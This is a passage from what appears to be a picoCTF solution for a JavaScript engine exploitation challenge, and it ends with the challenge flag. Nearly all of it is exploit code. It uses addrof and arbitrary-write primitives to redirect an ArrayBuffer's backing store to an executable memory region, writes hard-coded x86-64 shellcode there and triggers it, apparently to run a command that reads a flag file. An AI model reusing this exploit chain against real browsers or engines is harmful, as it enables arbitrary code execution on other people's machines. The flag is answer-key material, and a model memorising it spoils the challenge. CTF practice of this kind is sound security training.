    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x14n;
    arb_write(backing_store_addr, addr);

    // write the shellcode 4 bytes at a time
    for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4*i, shellcode[i], true);
    }
}

payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
copy_shellcode(rwx_base, payload);
f();

// picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}

Last updated